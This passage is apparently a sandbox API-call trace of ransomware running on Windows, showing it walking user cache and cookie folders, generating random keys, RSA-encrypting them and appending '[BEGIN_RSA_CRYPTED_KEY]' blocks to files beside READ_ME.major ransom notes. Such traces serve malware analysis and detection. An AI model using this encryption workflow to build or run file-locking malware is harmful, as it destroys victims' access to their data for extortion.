lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0228.355] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.355] WriteFile (in: hFile=0x197c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.355] CloseHandle (hObject=0x197c) returned 1 [0228.357] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42147ef, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1d440c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39242b13, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f345e0 [0228.357] FindNextFileW (in: hFindFile=0x2f345e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42147ef, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1d440c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39242b13, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.357] FindNextFileW (in: hFindFile=0x2f345e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x88ced4a1, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0x88ced4a1, ftLastAccessTime.dwHighDateTime=0x1d32716, ftLastWriteTime.dwLowDateTime=0x88ced4a1, ftLastWriteTime.dwHighDateTime=0x1d32716, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0228.357] FindNextFileW (in: hFindFile=0x2f345e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39242b13, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39242b13, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39242b13, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.357] FindNextFileW (in: hFindFile=0x2f345e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39242b13, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39242b13, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39242b13, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.357] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0228.357] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\AC\\INetCookies\\container.dat", dwFileAttributes=0x80) returned 1 [0228.358] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\AC\\INetCookies\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\ac\\inetcookies\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1980 [0228.359] GetFileSizeEx (in: hFile=0x1980, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0228.359] ReadFile (in: hFile=0x1980, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0228.359] SetFilePointer (in: hFile=0x1980, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.359] WriteFile (in: hFile=0x1980, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0228.359] SetFilePointer (in: hFile=0x1980, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0228.359] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.359] WriteFile (in: hFile=0x1980, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.360] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0228.360] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0228.360] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0228.360] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="9d5Rp+Vf5eJXdOwEBEmLZxmcQxXmK8AtQjhWOd+spquvzBszkMglLUt6eRu9cdmw\nECEVEHsKJMbCY0XKT8mkmaNhluFkAsN76c1u5xGM7Eh6VjJ4MLIhagSGxsoUU80t\n+2swgiEN27xQ9/ro46V8sWMFgP48E5bGre86d5IZTGibsqTwYS7Mj9J9dfUOu7wg\nA2Up7lGi8GQawJ9/aY/7gkUAS5fvOLiJMYBTy4ieT1oUj8dWJBoKP1Gf8v4ntTky\nAfd5If8x++500SJvDJ2xAJK9pQQBTGikIbwWGWlkzFWJr1Xaw7N1jHyD9TjjCZ3h\nDXfcXTN0dMp58Kok21EYWQ==\n", pcchString=0x2e3f9a8) returned 1 [0228.360] WriteFile (in: hFile=0x1980, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0228.361] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.361] WriteFile (in: hFile=0x1980, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.361] CloseHandle (hObject=0x1980) returned 1 [0228.362] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x41ee58e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1d44c20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39242b13, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f343a0 [0228.362] FindNextFileW (in: hFindFile=0x2f343a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x41ee58e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1d44c20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39242b13, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.363] FindNextFileW (in: hFindFile=0x2f343a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39242b13, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39242b13, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39242b13, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.363] FindNextFileW (in: hFindFile=0x2f343a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39242b13, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x39242b13, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x39242b13, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.363] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda90ec4a, ftCreationTime.dwHighDateTime=0x1d336df, ftLastAccessTime.dwLowDateTime=0xda90ec4a, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0x3932790b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34260 [0228.364] FindNextFileW (in: hFindFile=0x2f34260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda90ec4a, ftCreationTime.dwHighDateTime=0x1d336df, ftLastAccessTime.dwLowDateTime=0xda90ec4a, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0x3932790b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.364] FindNextFileW (in: hFindFile=0x2f34260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc478053, ftCreationTime.dwHighDateTime=0x1d336df, ftLastAccessTime.dwLowDateTime=0xdc478053, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xdc5108ea, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x1183, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1bae5997-e878-4247-b7f8-d49affc6cff5", cAlternateFileName="1BAE59~1")) returned 1 [0228.364] FindNextFileW (in: hFindFile=0x2f34260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0cb888e, ftCreationTime.dwHighDateTime=0x1d336df, ftLastAccessTime.dwLowDateTime=0xe0cb888e, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xe0d2af1c, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x2b694, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1bec6d4a-6687-4295-b59f-5b3c048ab97c", cAlternateFileName="1BEC6D~1")) returned 1 [0228.364] FindNextFileW (in: hFindFile=0x2f34260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1510392, ftCreationTime.dwHighDateTime=0x1d336df, ftLastAccessTime.dwLowDateTime=0xe1510392, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xe1582a0b, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x1af8a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1dcea220-55cd-470a-a680-6d186485df4e", cAlternateFileName="1DCEA2~1")) returned 1 [0228.365] FindNextFileW (in: hFindFile=0x2f34260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd062fb2, ftCreationTime.dwHighDateTime=0x1d336df, ftLastAccessTime.dwLowDateTime=0xdd062fb2, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xdd062fb2, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1fc7d273-b221-48f6-9872-22321b90204a", cAlternateFileName="1FC7D2~1")) returned 1 [0228.365] FindNextFileW (in: hFindFile=0x2f34260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd016b57, ftCreationTime.dwHighDateTime=0x1d336df, ftLastAccessTime.dwLowDateTime=0xdd016b57, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xdd0af547, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="564654d8-f181-4d50-84f0-95228e86ec66", cAlternateFileName="564654~1")) returned 1 [0228.365] FindNextFileW (in: hFindFile=0x2f34260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc478053, ftCreationTime.dwHighDateTime=0x1d336df, ftLastAccessTime.dwLowDateTime=0xdc478053, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xdc58317b, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="6ac60a78-519d-4397-8cfd-8288aad6ad67", cAlternateFileName="6AC60A~1")) returned 1 [0228.365] FindNextFileW (in: hFindFile=0x2f34260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc478053, ftCreationTime.dwHighDateTime=0x1d336df, ftLastAccessTime.dwLowDateTime=0xdc478053, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xdc4ea6a3, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0xc70, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="816b519f-6aae-4806-a871-9e26a12741ef", cAlternateFileName="816B51~1")) returned 1 [0228.365] FindNextFileW (in: hFindFile=0x2f34260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde328425, ftCreationTime.dwHighDateTime=0x1d336df, ftLastAccessTime.dwLowDateTime=0xde328425, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xde328425, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x12a32, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="af440790-6f0a-42ac-b8a5-e53856d9d828", cAlternateFileName="AF4407~1")) returned 1 [0228.365] FindNextFileW (in: hFindFile=0x2f34260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd062fb2, ftCreationTime.dwHighDateTime=0x1d336df, ftLastAccessTime.dwLowDateTime=0xdd062fb2, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xdd206830, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x1dd87, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="bba8ff68-64fb-4605-ae42-fe59570f7bb7", cAlternateFileName="BBA8FF~1")) returned 1 [0228.365] FindNextFileW (in: hFindFile=0x2f34260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc4059cc, ftCreationTime.dwHighDateTime=0x1d336df, ftLastAccessTime.dwLowDateTime=0xdc4059cc, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xdc478053, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x3ac, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="cf305046-df1e-43ca-88e4-ce3ad1b7bfa9", cAlternateFileName="CF3050~1")) returned 1 [0228.365] FindNextFileW (in: hFindFile=0x2f34260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc641aa1, ftCreationTime.dwHighDateTime=0x1d336df, ftLastAccessTime.dwLowDateTime=0xdc641aa1, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xe1726223, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x1da5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="index", cAlternateFileName="")) returned 1 [0228.365] FindNextFileW (in: hFindFile=0x2f34260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3932790b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3932790b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3932790b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.365] FindNextFileW (in: hFindFile=0x2f34260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3932790b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3932790b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3932790b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.365] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0228.365] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\index", dwFileAttributes=0x80) returned 1 [0228.366] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1988 [0228.366] GetFileSizeEx (in: hFile=0x1988, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=7589) returned 1 [0228.367] ReadFile (in: hFile=0x1988, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x1da5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1da5, lpOverlapped=0x0) returned 1 [0228.378] SetFilePointer (in: hFile=0x1988, lDistanceToMove=-7589, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.378] WriteFile (in: hFile=0x1988, lpBuffer=0x2f35020*, nNumberOfBytesToWrite=0x1da5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1da5, lpOverlapped=0x0) returned 1 [0228.379] SetFilePointer (in: hFile=0x1988, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1da5 [0228.379] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.379] WriteFile (in: hFile=0x1988, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.379] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0228.379] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0228.379] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0228.379] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="XtVs8xVQcQrOqfp2m94FzK8uqaM7NLqEnVsjLEDHpKBtWvjY8ayS+uMzNz4pF7xQ\nQ9lYhWVLfeFTs0S5C/ElwqeW9Hll91AfWnrMjw5mUTjNFHnPAGAuemWJ86mRMtVn\n5JCFjnbvYvN5BdIK/GTAdkK/BL4tXmuOTq9zMZilesMi3Fz21kHMdwrkViIK3ouV\nF2oTz2sOYNPCjqXKIIiXIUA/vj9bVF9SRk0+WkyY8JiVU5OMXzBR7NnIwclakFbq\nIO1vgBR8nx+diveMdoFLOmX/pcf9xwphltSiwU/cPDmyAMABrP5y0FQBtfuJBLyk\nvCaYy9pmoYPiPVe7DOuxnQ==\n", pcchString=0x2e3f9a8) returned 1 [0228.379] WriteFile (in: hFile=0x1988, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0228.379] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.379] WriteFile (in: hFile=0x1988, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.379] CloseHandle (hObject=0x1988) returned 1 [0228.381] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0228.381] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\cf305046-df1e-43ca-88e4-ce3ad1b7bfa9", dwFileAttributes=0x80) returned 1 [0228.382] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\cf305046-df1e-43ca-88e4-ce3ad1b7bfa9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\cf305046-df1e-43ca-88e4-ce3ad1b7bfa9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1988 [0228.382] GetFileSizeEx (in: hFile=0x1988, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=940) returned 1 [0228.382] ReadFile (in: hFile=0x1988, lpBuffer=0x66e548, nNumberOfBytesToRead=0x3ac, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesRead=0x2e3f9b4*=0x3ac, lpOverlapped=0x0) returned 1 [0228.391] SetFilePointer (in: hFile=0x1988, lDistanceToMove=-940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.391] WriteFile (in: hFile=0x1988, lpBuffer=0x66e900*, nNumberOfBytesToWrite=0x3ac, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e900*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3ac, lpOverlapped=0x0) returned 1 [0228.392] SetFilePointer (in: hFile=0x1988, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3ac [0228.392] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.392] WriteFile (in: hFile=0x1988, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.392] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0228.392] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: 